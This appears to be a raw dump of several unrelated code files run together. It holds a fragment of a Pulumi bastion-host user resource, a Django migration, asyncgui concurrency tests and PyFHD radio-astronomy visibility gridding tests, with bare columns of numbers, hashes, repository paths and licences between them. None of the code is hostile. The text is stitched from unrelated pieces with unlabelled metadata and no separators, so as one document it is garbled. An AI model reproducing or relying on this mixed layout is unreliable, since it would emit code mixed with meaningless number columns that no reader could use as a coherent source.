"mobile_country_code") @property @pulumi.getter def password(self) -> pulumi.Output[Optional[str]]: """ Specify the New User's Password. Supports up to 128 Characters. Description of the New User as the Source of the Local User (That Is, Source Value for Local, this Parameter Is Required. """ return pulumi.get(self, "password") @property @pulumi.getter def source(self) -> pulumi.Output[str]: """ Specify the New of the User That Created the Source. Valid Values: * Local: Local User * RAM: Ram User """ return pulumi.get(self, "source") @property @pulumi.getter(name="sourceUserId") def source_user_id(self) -> pulumi.Output[Optional[str]]: """ Specify the Newly Created User Is Uniquely Identified. Indicates That the Parameter Is a Bastion Host Corresponding to the User with the Ram User's Unique Identifier. The Newly Created User Source Grant Permission to a RAM User (That Is, Source Used as a Ram), this Parameter Is Required. You Can Call Access Control of Listusers Interface from the Return Data Userid to Obtain the Parameters. """ return pulumi.get(self, "source_user_id") @property @pulumi.getter def status(self) -> pulumi.Output[str]: """ The status of the resource. Valid values: `Frozen`, `Normal`. """ return pulumi.get(self, "status") @property @pulumi.getter(name="userId") def user_id(self) -> pulumi.Output[str]: """ The User ID. """ return pulumi.get(self, "user_id") @property @pulumi.getter(name="userName") def user_name(self) -> pulumi.Output[str]: """ Specify the New User Name. This Parameter Is Only by Letters, Lowercase Letters, Numbers, and Underscores (_), Supports up to 128 Characters. """ return pulumi.get(self, "user_name")
44.463218
442
0.614068
4,797
38,683
4.805503
0.059204
0.073009
0.091706
0.08971
0.933238
0.921395
0.911201
0.894977
0.890769
0.880921
0
0.016683
0.282579
38,683
869
443
44.514384
0.813959
0.460564
0
0.782828
1
0
0.082108
0.001678
0
0
0
0
0
1
0.164141
false
0.060606
0.012626
0
0.275253
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
9
9ec14bddb936f6a3e4c003fb009928f8d8c1d199
82
py
Python
src/chapter27/__init__.py
Peefy/CLRS_dugu_code-master
98f00e75e1b0ebc13a7affb2604bec8501692a19
[ "Apache-2.0" ]
3
2018-01-31T03:08:50.000Z
2018-04-25T12:57:01.000Z
src/chapter27/__init__.py
HideLakitu/IntroductionToAlgorithm.Python
33662f46dc346203b220d7481d1a4439feda05d2
[ "Apache-2.0" ]
null
null
null
src/chapter27/__init__.py
HideLakitu/IntroductionToAlgorithm.Python
33662f46dc346203b220d7481d1a4439feda05d2
[ "Apache-2.0" ]
3
2019-03-03T04:49:53.000Z
2020-07-13T10:18:58.000Z
# python src/chapter27/chapter27note.py # python3 src/chapter27/chapter27note.py
20.5
40
0.817073
10
82
6.7
0.6
0.358209
0.746269
0.80597
0
0
0
0
0
0
0
0.12
0.085366
82
3
41
27.333333
0.773333
0.926829
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
7
7b5abc204b15d863d79c6c39f4426b3c083aed81
50
py
Python
src/ertk/pytorch/__init__.py
agkphysics/emotion
36bb9265f9439b10676fb539d5334cce645e49ef
[ "MIT" ]
1
2020-06-14T03:37:46.000Z
2020-06-14T03:37:46.000Z
src/ertk/pytorch/__init__.py
agkphysics/emotion
36bb9265f9439b10676fb539d5334cce645e49ef
[ "MIT" ]
null
null
null
src/ertk/pytorch/__init__.py
agkphysics/emotion
36bb9265f9439b10676fb539d5334cce645e49ef
[ "MIT" ]
null
null
null
from .models import get_pt_model, get_pt_model_fn
25
49
0.86
10
50
3.8
0.7
0.263158
0.526316
0
0
0
0
0
0
0
0
0
0.1
50
1
50
50
0.844444
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
7bb386a10a9702ffc46010cf8188b176e22c6262
147
py
Python
app/utils.py
richardpanda/kraken
d37c0a27f41e53846c9a11f562dea328bdb21248
[ "MIT" ]
null
null
null
app/utils.py
richardpanda/kraken
d37c0a27f41e53846c9a11f562dea328bdb21248
[ "MIT" ]
1
2021-06-01T22:09:12.000Z
2021-06-01T22:09:12.000Z
app/utils.py
richardpanda/kraken
d37c0a27f41e53846c9a11f562dea328bdb21248
[ "MIT" ]
null
null
null
import random from string import ascii_uppercase, digits def generate_code(): return ''.join(random.choices(ascii_uppercase + digits, k=6))
18.375
65
0.755102
20
147
5.4
0.75
0.259259
0.37037
0
0
0
0
0
0
0
0
0.007937
0.142857
147
7
66
21
0.849206
0
0
0
1
0
0
0
0
0
0
0
0
1
0.25
true
0
0.5
0.25
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
1
1
0
1
1
1
0
0
10
c88337023eace329794401529af347886748be95
2,221
py
Python
src/proposals/migrations/0011_auto_20151222_1743.py
kaka-lin/pycon.tw
67809a5e43b03273ac8d8f5a1b6b3d3f73474be7
[ "MIT" ]
47
2015-12-19T10:23:11.000Z
2018-06-13T08:07:33.000Z
src/proposals/migrations/0011_auto_20151222_1743.py
kaka-lin/pycon.tw
67809a5e43b03273ac8d8f5a1b6b3d3f73474be7
[ "MIT" ]
473
2018-12-01T13:01:48.000Z
2022-03-30T07:10:42.000Z
src/proposals/migrations/0011_auto_20151222_1743.py
kaka-lin/pycon.tw
67809a5e43b03273ac8d8f5a1b6b3d3f73474be7
[ "MIT" ]
91
2018-07-26T02:38:59.000Z
2022-01-16T02:38:31.000Z
# -*- coding: utf-8 -*- # Generated by Django 1.9 on 2015-12-22 17:43 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('proposals', '0010_auto_20151221_1440'), ] operations = [ migrations.AlterField( model_name='talkproposal', name='detailed_description', field=models.TextField(blank=True, help_text="Try not be too lengthy to scare away reviewers or potential audience. A comfortable length is less than 1000 characters (or about 600 Chinese characters). Since most reviewers may not understand the topic as deep as you do, including related links to the talk topic will help reviewers understand the proposal. Edit using <a href='http://daringfireball.net/projects/markdown/basics' target='_blank'>Markdown</a>.", verbose_name='detailed description'), ), migrations.AlterField( model_name='talkproposal', name='objective', field=models.TextField(help_text="What will the attendees get out of your talk? When they leave the room, what will they learn that they didn't know before?", max_length=500, verbose_name='objective'), ), migrations.AlterField( model_name='tutorialproposal', name='detailed_description', field=models.TextField(blank=True, help_text="Try not be too lengthy to scare away reviewers or potential audience. A comfortable length is less than 1000 characters (or about 600 Chinese characters). Since most reviewers may not understand the topic as deep as you do, including related links to the talk topic will help reviewers understand the proposal. Edit using <a href='http://daringfireball.net/projects/markdown/basics' target='_blank'>Markdown</a>.", verbose_name='detailed description'), ), migrations.AlterField( model_name='tutorialproposal', name='objective', field=models.TextField(help_text="What will the attendees get out of your talk? When they leave the room, what will they learn that they didn't know before?", max_length=500, verbose_name='objective'), ), ]
61.694444
510
0.706889
288
2,221
5.361111
0.392361
0.051813
0.064767
0.07513
0.875648
0.875648
0.801813
0.801813
0.801813
0.801813
0
0.028879
0.204863
2,221
35
511
63.457143
0.845413
0.029266
0
0.714286
1
0.142857
0.590804
0.037622
0
0
0
0
0
1
0
false
0
0.071429
0
0.178571
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
c8b3030658d6d195964b658629c71aadef3a66bf
7,592
py
Python
tests/structured_concurrency/and/test_simple_situation.py
gottadiveintopython/asyncgui
abfe7759f189321ad24e5711149b85a14062cb3c
[ "MIT" ]
null
null
null
tests/structured_concurrency/and/test_simple_situation.py
gottadiveintopython/asyncgui
abfe7759f189321ad24e5711149b85a14062cb3c
[ "MIT" ]
null
null
null
tests/structured_concurrency/and/test_simple_situation.py
gottadiveintopython/asyncgui
abfe7759f189321ad24e5711149b85a14062cb3c
[ "MIT" ]
null
null
null
import pytest async def finish_immediately(e=None): pass async def fail_immediately(e=None): raise ZeroDivisionError async def finish_soon(e): await e.wait() async def fail_soon(e): await e.wait() raise ZeroDivisionError async def fail_on_cancel(e=None): import asyncgui as ag try: await ag.sleep_forever() finally: raise ZeroDivisionError async def finish_soon_but_protected(e): import asyncgui as ag async with ag.cancel_protection(): await e.wait() def test_no_child(): import asyncgui as ag from asyncgui.structured_concurrency import and_ async def main(): tasks = await and_() assert len(tasks) == 0 main_task = ag.start(main()) assert main_task.done def test_one_child_finishes_immediately(): import asyncgui as ag from asyncgui.structured_concurrency import and_ async def main(): tasks = await and_(finish_immediately()) assert [True, ] == [task.done for task in tasks] main_task = ag.start(main()) assert main_task.done def test_multiple_children_finish_immediately(): import asyncgui as ag from asyncgui.structured_concurrency import and_ async def main(): tasks = await and_(finish_immediately(), finish_immediately()) assert [True, True] == [task.done for task in tasks] main_task = ag.start(main()) assert main_task.done def test_one_child_fails_immediately(): import asyncgui as ag from asyncgui.structured_concurrency import and_ async def main(): with pytest.raises(ZeroDivisionError): await and_(fail_immediately()) main_task = ag.start(main()) assert main_task.done def test_multiple_children_fail_immediately(): import asyncgui as ag from asyncgui.structured_concurrency import and_ async def main(): with pytest.raises(ag.MultiError) as excinfo: await and_(fail_immediately(), fail_immediately()) assert [ZeroDivisionError, ZeroDivisionError] == \ [type(e) for e in excinfo.value.exceptions] main_task = ag.start(main()) assert main_task.done def test_one_child_finishes_soon(): import asyncgui as ag from asyncgui.structured_concurrency import and_ async def main(e): tasks = await and_(finish_soon(e)) assert [True, ] == [task.done for task in tasks] e = ag.Event() main_task = ag.start(main(e)) assert not main_task.done e.set() assert main_task.done def test_multiple_children_finish_soon(): import asyncgui as ag from asyncgui.structured_concurrency import and_ async def main(e): tasks = await and_(finish_soon(e), finish_soon(e)) assert [True, True] == [task.done for task in tasks] e = ag.Event() main_task = ag.start(main(e)) assert not main_task.done e.set() assert main_task.done def test_one_child_fails_soon(): import asyncgui as ag from asyncgui.structured_concurrency import and_ async def main(e): with pytest.raises(ZeroDivisionError): await and_(fail_soon(e)) e = ag.Event() main_task = ag.start(main(e)) assert not main_task.done e.set() assert main_task.done def test_multiple_children_fail_soon(): ''' MultiErrorが起こるように思えるが、1つ目の子で例外が起こるや否や2つ目 は即中断されるため、2つ目では例外は起こらない ''' import asyncgui as ag from asyncgui.structured_concurrency import and_ async def main(e): with pytest.raises(ZeroDivisionError): await and_(fail_soon(e), fail_soon(e)) e = ag.Event() main_task = ag.start(main(e)) assert not main_task.done e.set() assert main_task.done def test_multiple_children_fail(): ''' 1つ目の子で例外が起こる事で2つ目が中断される。その時2つ目でも例外が 起きるためMultiErrorが湧く。 ''' import asyncgui as ag from asyncgui.structured_concurrency import and_ async def main(e): with pytest.raises(ag.MultiError) as excinfo: await and_(fail_soon(e), fail_on_cancel()) assert [ZeroDivisionError, ZeroDivisionError] == \ [type(e) for e in excinfo.value.exceptions] e = ag.Event() main_task = ag.start(main(e)) assert not main_task.done e.set() assert main_task.done def test_必ず例外を起こす子_を複数持つ親を中断(): import asyncgui as ag from asyncgui.structured_concurrency import and_ TS = ag.TaskState async def main(e): with pytest.raises(ag.MultiError) as excinfo: await and_(fail_on_cancel(), fail_on_cancel()) assert [ZeroDivisionError, ZeroDivisionError] == \ [type(e) for e in excinfo.value.exceptions] await e.wait() pytest.fail("Failed to cancel") e = ag.Event() main_task = ag.Task(main(e)) ag.start(main_task) assert main_task.state is TS.STARTED main_task.cancel() assert main_task.state is TS.CANCELLED def test_必ず例外を起こす子_を複数持つ親を中断_2(): import asyncgui as ag from asyncgui.structured_concurrency import and_ TS = ag.TaskState async def main(): await and_(fail_on_cancel(), fail_on_cancel()) pytest.fail("Failed to cancel") main_task = ag.Task(main()) ag.start(main_task) assert main_task.state is TS.STARTED with pytest.raises(ag.MultiError) as excinfo: main_task.cancel() assert [ZeroDivisionError, ZeroDivisionError] == \ [type(e) for e in excinfo.value.exceptions] assert main_task.state is TS.CANCELLED def test_例外を起こさない子_を一つ持つ親を中断(): import asyncgui as ag from asyncgui.structured_concurrency import and_ TS = ag.TaskState async def main(): await and_(ag.sleep_forever()) pytest.fail() main_task = ag.Task(main()) ag.start(main_task) assert main_task.state is TS.STARTED main_task.cancel() assert main_task.state is TS.CANCELLED def test_例外を起こさない子_を複数持つ親を中断(): import asyncgui as ag from asyncgui.structured_concurrency import and_ TS = ag.TaskState async def main(): await and_(ag.sleep_forever(), ag.sleep_forever()) pytest.fail() main_task = ag.Task(main()) ag.start(main_task) assert main_task.state is TS.STARTED main_task.cancel() assert main_task.state is TS.CANCELLED class Test_cancel_protection: @pytest.mark.parametrize( 'other_child', (fail_on_cancel, fail_immediately)) def test_other_child_fails(self, other_child): import asyncgui as ag from asyncgui.structured_concurrency import and_ async def main(e): with pytest.raises(ZeroDivisionError): await and_(finish_soon_but_protected(e), other_child(e)) e = ag.Event() main_task = ag.Task(main(e)) ag.start(main_task) assert not main_task.done main_task.cancel() assert not main_task.done e.set() assert main_task.done @pytest.mark.parametrize('other_child', (fail_soon, finish_immediately, finish_soon, finish_soon_but_protected)) def test_other_child_does_not_fail(self, other_child): import asyncgui as ag from asyncgui.structured_concurrency import and_ async def main(e): await and_(finish_soon_but_protected(e), other_child(e)) pytest.fail("Failed to cancel") e = ag.Event() main_task = ag.Task(main(e)) ag.start(main_task) assert not main_task.cancelled main_task.cancel() assert not main_task.cancelled e.set() assert main_task.cancelled
25.823129
72
0.67176
1,004
7,592
4.861554
0.085657
0.093423
0.057365
0.06638
0.867855
0.844499
0.812743
0.790002
0.780988
0.769924
0
0.001387
0.240253
7,592
293
73
25.911263
0.844834
0.015806
0
0.770335
0
0
0.009417
0
0
0
0
0
0.181818
1
0.076555
false
0.004785
0.167464
0
0.248804
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
c8cc6783ae1edc60e4bddcab0f6b2c4ceb7360dc
20,448
py
Python
tests/test_gridding/test_visibility_grid.py
ADACS-Australia/PyFHD
f4b9c254bbea699e1cf66f1400b05f8dace69f9f
[ "MIT" ]
2
2022-02-21T05:55:58.000Z
2022-03-15T02:41:00.000Z
tests/test_gridding/test_visibility_grid.py
ADACS-Australia/PyFHD
f4b9c254bbea699e1cf66f1400b05f8dace69f9f
[ "MIT" ]
null
null
null
tests/test_gridding/test_visibility_grid.py
ADACS-Australia/PyFHD
f4b9c254bbea699e1cf66f1400b05f8dace69f9f
[ "MIT" ]
null
null
null
import pytest import numpy.testing as npt from os import environ as env from pathlib import Path from PyFHD.gridding.visibility_grid import visibility_grid from PyFHD.pyfhd_tools.test_utils import get_savs import time @pytest.fixture def data_dir(): return Path(env.get('PYFHD_TEST_PATH'), 'visibility_grid') @pytest.fixture def full_data_dir(): return Path(env.get('PYFHD_TEST_PATH'), 'full_size_visibility_grid/') def test_visibility_grid_one(data_dir): inputs = get_savs(data_dir,'input_1.sav') visibility = inputs['visibility_ptr'] vis_weights = inputs['vis_weight_ptr'] obs = inputs['obs'] status_str = inputs['status_str'] psf = inputs['psf'] params = inputs['params'] weights_flag = inputs['weights'] variance_flag = inputs['variance'] polarization = inputs['polarization'] map_flag = inputs['mapfn_recalculate'] uniform_flag = False grid_uniform = False fi_use = inputs['fi_use'] bi_use = inputs['bi_use'] no_conjugate = False mask_mirror_indices = False model = inputs['model_ptr'] grid_spectral = False beam_per_baseline = False uv_grid_phase_only = True outputs = get_savs(data_dir, 'output_1.sav') now = time.time() gridding_dict = visibility_grid( visibility, vis_weights, obs, status_str, psf, params, weights_flag = weights_flag, variance_flag = variance_flag, polarization = polarization, map_flag = map_flag, uniform_flag = uniform_flag, grid_uniform = grid_uniform, fi_use = fi_use, bi_use = bi_use, no_conjugate = no_conjugate, mask_mirror_indices = mask_mirror_indices, model = model, grid_spectral = grid_spectral, beam_per_baseline = beam_per_baseline, uv_grid_phase_only = uv_grid_phase_only, ) later = time.time() print("This test took {} seconds to process with tests IDL took 0.938 seconds".format(later - now)) npt.assert_allclose(gridding_dict['image_uv'], outputs['image_uv'], atol = 1e-8) npt.assert_allclose(gridding_dict['weights'], outputs['weights'], atol = 1e-8) npt.assert_allclose(gridding_dict['variance'], outputs['variance'], atol = 1e-8) npt.assert_allclose(gridding_dict['uniform_filter'], outputs['uniform_filter'], atol = 1e-8) npt.assert_allclose(gridding_dict['obs']['nf_vis'][0], outputs['obs']['nf_vis'][0], atol = 1e-8) def test_visibility_grid_two(data_dir): inputs = get_savs(data_dir,'input_2.sav') visibility = inputs['visibility_ptr'] vis_weights = inputs['vis_weight_ptr'] obs = inputs['obs'] status_str = inputs['status_str'] psf = inputs['psf'] params = inputs['params'] weights_flag = inputs['weights'] variance_flag = False polarization = inputs['polarization'] map_flag = inputs['mapfn_recalculate'] uniform_flag = inputs['uniform_filter'] grid_uniform = False fi_use = None bi_use = None no_conjugate = inputs['no_conjugate'] mask_mirror_indices = False model = inputs['model_ptr'] grid_spectral = False beam_per_baseline = inputs['beam_per_baseline'] uv_grid_phase_only = True outputs = get_savs(data_dir, 'output_2.sav') now = time.time() gridding_dict = visibility_grid( visibility, vis_weights, obs, status_str, psf, params, weights_flag = weights_flag, variance_flag = variance_flag, polarization = polarization, map_flag = map_flag, uniform_flag = uniform_flag, grid_uniform = grid_uniform, fi_use = fi_use, bi_use = bi_use, no_conjugate = no_conjugate, mask_mirror_indices = mask_mirror_indices, model = model, grid_spectral = grid_spectral, beam_per_baseline = beam_per_baseline, uv_grid_phase_only = uv_grid_phase_only, ) later = time.time() print("This test took {} seconds to process with tests IDL took 3.2399 seconds".format(later - now)) npt.assert_allclose(gridding_dict['image_uv'], outputs['image_uv'], atol = 1e-8) npt.assert_allclose(gridding_dict['weights'], outputs['weights'], atol = 1e-8) npt.assert_allclose(gridding_dict['variance'], outputs['variance'], atol = 1e-8) # Differences in baseline grids locations from precision errors in the offsets caused differences in the histogram bin_n # The minor difference in bin_n affected the uniform filter. npt.assert_allclose(gridding_dict['uniform_filter'], outputs['uniform_filter'], atol = 0.5) npt.assert_allclose(gridding_dict['obs']['nf_vis'][0], outputs['obs']['nf_vis'][0], atol = 1e-8) def test_visibility_grid_three(data_dir): inputs = get_savs(data_dir,'input_3.sav') visibility = inputs['visibility_ptr'] vis_weights = inputs['vis_weight_ptr'] obs = inputs['obs'] status_str = inputs['status_str'] psf = inputs['psf'] params = inputs['params'] weights_flag = inputs['weights'] variance_flag = False polarization = inputs['polarization'] map_flag = inputs['mapfn_recalculate'] uniform_flag = inputs['uniform_filter'] grid_uniform = False fi_use = None bi_use = None no_conjugate = inputs['no_conjugate'] mask_mirror_indices = False model = inputs['model_ptr'] grid_spectral = inputs['grid_spectral'] beam_per_baseline = False uv_grid_phase_only = True outputs = get_savs(data_dir, 'output_3.sav') now = time.time() gridding_dict = visibility_grid( visibility, vis_weights, obs, status_str, psf, params, weights_flag = weights_flag, variance_flag = variance_flag, polarization = polarization, map_flag = map_flag, uniform_flag = uniform_flag, grid_uniform = grid_uniform, fi_use = fi_use, bi_use = bi_use, no_conjugate = no_conjugate, mask_mirror_indices = mask_mirror_indices, model = model, grid_spectral = grid_spectral, beam_per_baseline = beam_per_baseline, uv_grid_phase_only = uv_grid_phase_only, ) later = time.time() print("This test took {} seconds to process with tests IDL took 5.585 seconds".format(later - now)) npt.assert_allclose(gridding_dict['image_uv'], outputs['image_uv'], atol = 1e-8) npt.assert_allclose(gridding_dict['weights'], outputs['weights'], atol = 1e-8) npt.assert_allclose(gridding_dict['variance'], outputs['variance'], atol = 1e-8) # Differences in baseline grids locations from precision errors in the offsets caused differences in the histogram bin_n # The minor difference in bin_n affected the uniform filter. npt.assert_allclose(gridding_dict['uniform_filter'], outputs['uniform_filter'], atol = 0.5) npt.assert_allclose(gridding_dict['obs']['nf_vis'][0], outputs['obs']['nf_vis'][0], atol = 1e-8) ''' Now here in theory I should be testing the results of grid spectral using a small tolerance (e.g. 1e-8), but I can't reasonably test the differences using such a small tolerance. Here is why. First, there are small precision error differences between IDL and Python in the spectral calculations, the maximum absolute difference between the Python and IDL is 1.3e-5, although in most cases its below 1e-6. This means when we goto calculate our spectral_uv, we multiply, add or subtract the spectral_A, spectral_B and spectral_D arrays together, which multiplies, adds or subtracts the precision errors too, potentially magnifying them. These initially small differences can have massive effects, take the use of weight invert in this line below: spectral_uv = (spectral_A - n_vis * spectral_B * image_uv) * weight_invert(spectral_D - spectral_B ** 2) If we take the smallest number above 0 in the array spectral_D - spectral_B ** 2 in both Python and IDl we get: Python: 1.9927779547410943e-12 IDL: 1.9846134e-12 ; Limited to 7 decimal places The difference between these values are 8.164526283745157e-15 (calculated in Python). This small difference becomes massive when we take these two small numbers and compute the statement below from weight_invert using our smallest number's above: result[i_use] = 1 / weights[i_use] i.e. result[i_use] = 1 / 1.9927779547410943e-12 This gives: Python: 503876465643.64197 IDL: 501812054685.2005 That is a difference of 2064410958.44, or 2.06441095844e9, or TWO BILLION. Even when comparing exactly the same number in IDL (1.9927779547410943e-12), and using this in 1 / 1.9927779547410943e-12, the difference is in the thousands due to precision error. This behaviour also mysteriously doesn't appear in our tests of weight_invert, in fact the results are exactly the same as IDL when doing the weight_invert tests. Just going to show, even the smallest difference of input can change the result of weight_invert by a drastic amount. Luckily, these large differences are multiplied by numbers that are the opposite in magnitude (1e-8). This results in these numbers having a difference of upto (in theory) 9.99, as anything above 10 could indicate a huge difference in magnitude which does indicate an egregious error. ''' npt.assert_allclose(gridding_dict['spectral_uv'], outputs['spectral_uv'], atol = 9.99) def test_visibility_grid_four(data_dir): inputs = get_savs(data_dir,'input_4.sav') visibility = inputs['visibility_ptr'] vis_weights = inputs['vis_weight_ptr'] obs = inputs['obs'] status_str = inputs['status_str'] psf = inputs['psf'] params = inputs['params'] weights_flag = inputs['weights'] variance_flag = inputs['variance'] polarization = inputs['polarization'] map_flag = inputs['mapfn_recalculate'] uniform_flag = False grid_uniform = False fi_use = inputs['fi_use'] bi_use = inputs['bi_use'] no_conjugate = False mask_mirror_indices = False model = inputs['model_ptr'] grid_spectral = False beam_per_baseline = False uv_grid_phase_only = True outputs = get_savs(data_dir, 'output_4.sav') now = time.time() gridding_dict = visibility_grid( visibility, vis_weights, obs, status_str, psf, params, weights_flag = weights_flag, variance_flag = variance_flag, polarization = polarization, map_flag = map_flag, uniform_flag = uniform_flag, grid_uniform = grid_uniform, fi_use = fi_use, bi_use = bi_use, no_conjugate = no_conjugate, mask_mirror_indices = mask_mirror_indices, model = model, grid_spectral = grid_spectral, beam_per_baseline = beam_per_baseline, uv_grid_phase_only = uv_grid_phase_only, ) later = time.time() print("This test took {} seconds to process with tests IDL took 0.50837 seconds".format(later - now)) npt.assert_allclose(gridding_dict['image_uv'], outputs['image_uv'], atol = 1e-8) npt.assert_allclose(gridding_dict['weights'], outputs['weights'], atol = 1e-8) npt.assert_allclose(gridding_dict['variance'], outputs['variance'], atol = 1e-8) npt.assert_allclose(gridding_dict['uniform_filter'], outputs['uniform_filter'], atol = 1e-8) npt.assert_allclose(gridding_dict['obs']['nf_vis'][0], outputs['obs']['nf_vis'][0], atol = 1e-8) def test_visibility_grid_five(data_dir): inputs = get_savs(data_dir,'input_5.sav') visibility = inputs['visibility_ptr'] vis_weights = inputs['vis_weight_ptr'] obs = inputs['obs'] status_str = inputs['status_str'] psf = inputs['psf'] params = inputs['params'] weights_flag = inputs['weights'] variance_flag = inputs['variance'] polarization = inputs['polarization'] map_flag = inputs['mapfn_recalculate'] uniform_flag = False grid_uniform = inputs['grid_uniform'] fi_use = inputs['fi_use'] bi_use = inputs['bi_use'] no_conjugate = inputs['no_conjugate'] mask_mirror_indices = False model = inputs['model_ptr'] grid_spectral = False beam_per_baseline = False uv_grid_phase_only = True outputs = get_savs(data_dir, 'output_5.sav') now = time.time() gridding_dict = visibility_grid( visibility, vis_weights, obs, status_str, psf, params, weights_flag = weights_flag, variance_flag = variance_flag, polarization = polarization, map_flag = map_flag, uniform_flag = uniform_flag, grid_uniform = grid_uniform, fi_use = fi_use, bi_use = bi_use, no_conjugate = no_conjugate, mask_mirror_indices = mask_mirror_indices, model = model, grid_spectral = grid_spectral, beam_per_baseline = beam_per_baseline, uv_grid_phase_only = uv_grid_phase_only, ) later = time.time() print("This test took {} seconds to process with tests IDL took 0.4366 seconds".format(later - now)) npt.assert_allclose(gridding_dict['image_uv'], outputs['image_uv'], atol = 1e-8) npt.assert_allclose(gridding_dict['weights'], outputs['weights'], atol = 1e-8) npt.assert_allclose(gridding_dict['variance'], outputs['variance'], atol = 1e-8) npt.assert_allclose(gridding_dict['uniform_filter'], outputs['uniform_filter'], atol = 1e-8) npt.assert_allclose(gridding_dict['obs']['nf_vis'][0], outputs['obs']['nf_vis'][0], atol = 1e-8) def test_visibility_grid_six(data_dir): inputs = get_savs(data_dir,'input_6.sav') visibility = inputs['visibility_ptr'] vis_weights = inputs['vis_weight_ptr'] obs = inputs['obs'] status_str = inputs['status_str'] psf = inputs['psf'] params = inputs['params'] weights_flag = inputs['weights'] variance_flag = False polarization = inputs['polarization'] map_flag = inputs['mapfn_recalculate'] uniform_flag = inputs['uniform_filter'] grid_uniform = False fi_use = None bi_use = None no_conjugate = inputs['no_conjugate'] mask_mirror_indices = False model = inputs['model_ptr'] grid_spectral = False beam_per_baseline = False uv_grid_phase_only = True outputs = get_savs(data_dir, 'output_6.sav') now = time.time() gridding_dict = visibility_grid( visibility, vis_weights, obs, status_str, psf, params, weights_flag = weights_flag, variance_flag = variance_flag, polarization = polarization, map_flag = map_flag, uniform_flag = uniform_flag, grid_uniform = grid_uniform, fi_use = fi_use, bi_use = bi_use, no_conjugate = no_conjugate, mask_mirror_indices = mask_mirror_indices, model = model, grid_spectral = grid_spectral, beam_per_baseline = beam_per_baseline, uv_grid_phase_only = uv_grid_phase_only, ) later = time.time() print("This test took {} seconds to process with tests IDL took 3.775 seconds".format(later - now)) npt.assert_allclose(gridding_dict['image_uv'], outputs['image_uv'], atol = 2e-7) npt.assert_allclose(gridding_dict['weights'], outputs['weights'], atol = 1e-8) npt.assert_allclose(gridding_dict['variance'], outputs['variance'], atol = 1e-8) # Differences in baseline grids locations from precision errors in the offsets caused differences in the histogram bin_n # The minor difference in bin_n affected the uniform filter. npt.assert_allclose(gridding_dict['uniform_filter'], outputs['uniform_filter'], atol = 0.5) npt.assert_allclose(gridding_dict['obs']['nf_vis'][0], outputs['obs']['nf_vis'][0], atol = 1e-8) npt.assert_allclose(gridding_dict['model_return'], outputs['model_return'], atol = 1e-7) def test_visibility_grid_seven(data_dir): inputs = get_savs(data_dir,'input_7.sav') visibility = inputs['visibility_ptr'] vis_weights = inputs['vis_weight_ptr'] obs = inputs['obs'] status_str = inputs['status_str'] psf = inputs['psf'] params = inputs['params'] weights_flag = inputs['weights'] variance_flag = False polarization = inputs['polarization'] map_flag = inputs['mapfn_recalculate'] uniform_flag = inputs['uniform_filter'] grid_uniform = False fi_use = None bi_use = None no_conjugate = inputs['no_conjugate'] mask_mirror_indices = False model = inputs['model_ptr'] grid_spectral = False beam_per_baseline = False uv_grid_phase_only = True outputs = get_savs(data_dir, 'output_7.sav') now = time.time() gridding_dict = visibility_grid( visibility, vis_weights, obs, status_str, psf, params, weights_flag = weights_flag, variance_flag = variance_flag, polarization = polarization, map_flag = map_flag, uniform_flag = uniform_flag, grid_uniform = grid_uniform, fi_use = fi_use, bi_use = bi_use, no_conjugate = no_conjugate, mask_mirror_indices = mask_mirror_indices, model = model, grid_spectral = grid_spectral, beam_per_baseline = beam_per_baseline, uv_grid_phase_only = uv_grid_phase_only, ) later = time.time() print("This test took {} seconds to process with tests IDL took 2.95 seconds".format(later - now)) npt.assert_allclose(gridding_dict['image_uv'], outputs['image_uv'], atol = 1.5e-07) npt.assert_allclose(gridding_dict['weights'], outputs['weights'], atol = 1e-8) npt.assert_allclose(gridding_dict['variance'], outputs['variance'], atol = 1e-8) # Differences in baseline grids locations from precision errors in the offsets caused differences in the histogram bin_n # The minor difference in bin_n affected the uniform filter. npt.assert_allclose(gridding_dict['uniform_filter'], outputs['uniform_filter'], atol = 0.5) npt.assert_allclose(gridding_dict['obs']['nf_vis'][0], outputs['obs']['nf_vis'][0], atol = 1e-8) def test_visibility_grid_full(full_data_dir): inputs = get_savs(full_data_dir,'input_1.sav') visibility = inputs['visibility_ptr'] vis_weights = inputs['vis_weight_ptr'] obs = inputs['obs'] status_str = inputs['status_str'] psf = inputs['psf'] params = inputs['params'] weights_flag = inputs['weights'] variance_flag = False polarization = inputs['polarization'] map_flag = inputs['mapfn_recalculate'] uniform_flag = inputs['uniform_filter'] grid_uniform = False fi_use = None bi_use = None no_conjugate = inputs['no_conjugate'] mask_mirror_indices = False model = None grid_spectral = False beam_per_baseline = False uv_grid_phase_only = True outputs = get_savs(full_data_dir, 'output_1.sav') now = time.time() gridding_dict = visibility_grid( visibility, vis_weights, obs, status_str, psf, params, weights_flag = weights_flag, variance_flag = variance_flag, polarization = polarization, map_flag = map_flag, uniform_flag = uniform_flag, grid_uniform = grid_uniform, fi_use = fi_use, bi_use = bi_use, no_conjugate = no_conjugate, mask_mirror_indices = mask_mirror_indices, model = model, grid_spectral = grid_spectral, beam_per_baseline = beam_per_baseline, uv_grid_phase_only = uv_grid_phase_only, ) later = time.time() print("The full size took {} seconds to process with tests".format(later - now)) npt.assert_allclose(gridding_dict['image_uv'], outputs['image_uv'], atol = 1e-8) npt.assert_allclose(gridding_dict['weights'], outputs['weights'], atol = 1e-8) npt.assert_allclose(gridding_dict['variance'], outputs['variance'], atol = 1e-8) #npt.assert_allclose(gridding_dict['uniform_filter'], 